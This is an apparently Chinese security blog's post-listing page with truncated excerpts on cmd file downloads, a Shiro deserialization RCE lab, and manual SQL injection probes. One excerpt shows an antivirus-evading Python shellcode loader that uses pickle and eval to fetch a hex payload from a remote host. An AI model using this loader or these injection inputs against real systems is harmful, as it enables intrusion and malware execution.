网络安全
#Mr
这个作者很懒,什么都没留下…
展开
-
Windows cmd下载文件
Windows cmd下载文件原创 2019-08-30 13:22:54 · 8359 阅读 · 1 评论 -
MuSQL常用函数
tomcatwar原创 2019-07-24 20:25:12 · 924 阅读 · 0 评论 -
python生成shellcode加载器(免杀,可过杀软)
import ctypes, cPickle, base64, urllib2class ptr(object): def __reduce__(self): return(eval, ("urllib2.urlopen('http://192.168.1.100/s2.txt').read().decode('hex')",))# base64class buf(object): def __init__(self, shellcode): sel.原创 2020-05-31 01:52:41 · 3802 阅读 · 5 评论 -
Apache Shiro反序列化远程代码执行 复现 环境搭建
docker pull medicean/vulapps:s_shiro_1docker run -d -p 5001:8080 medicean/vulapps:s_shiro_1yum install python3-develpip3 install pycryptodomeshiro.py# pip install pycryptoimport sysimport base64import uuidfrom random import Randomimpo..原创 2020-05-14 10:14:02 · 1019 阅读 · 0 评论 -
初学手工SQL注入常用方法与函数
SQL注入 and 1=1 / and 1=2 回显页面不同(整形判断) 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断) \ (转义符) -1/+1 回显下一个或上一个页面(整型判断) andsleep(5) UNION query SQL injection(可联合查询注入...原创 2019-08-03 11:07:28 · 519 阅读 · 0 评论